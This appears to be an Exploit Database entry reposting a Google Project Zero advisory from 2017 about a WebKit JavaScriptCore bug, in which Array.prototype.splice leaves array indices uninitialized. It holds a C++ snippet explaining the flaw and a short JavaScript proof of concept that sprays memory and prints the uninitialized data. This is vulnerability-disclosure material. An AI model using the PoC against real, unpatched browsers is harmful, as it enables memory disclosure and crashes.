WebKit JSC – arrayProtoFuncSplice does not Initialize all Indices

• Exploit Database
• 17 阅读

• 作者： Google Security Research
  日期： 2017-06-16
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/42189/

• <!--
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1218&desc=2
  
  Here's a snippet of arrayProtoFuncSplice.
  
  EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
  {
  ...
  result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
  if (!result)
  return JSValue::encode(throwOutOfMemoryError(exec, scope));
  
  for (unsigned k = 0; k < actualDeleteCount; ++k) {
  JSValue v = getProperty(exec, thisObj, k + actualStart);
  RETURN_IF_EXCEPTION(scope, encodedJSValue());
  if (UNLIKELY(!v)) {
  continue;
  }
  result->initializeIndex(vm, k, v);
  }
  ...
  }
  
  |JSArray::tryCreateForInitializationPrivate| will return an uninitialized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.
  
  PoC:
  -->
  
  function gc() {
  for (let i = 0; i < 0x10; i++)
  new ArrayBuffer(0x1000000);
  }
  
  Array.prototype.__defineGetter__(0x1000, () => 1);
  
  gc();
  
  for (let i = 0; i < 0x100; i++) {
  new Array(0x100).fill(1234.5678);
  }
  
  gc();
  
  print(new Array(0x100).splice(0));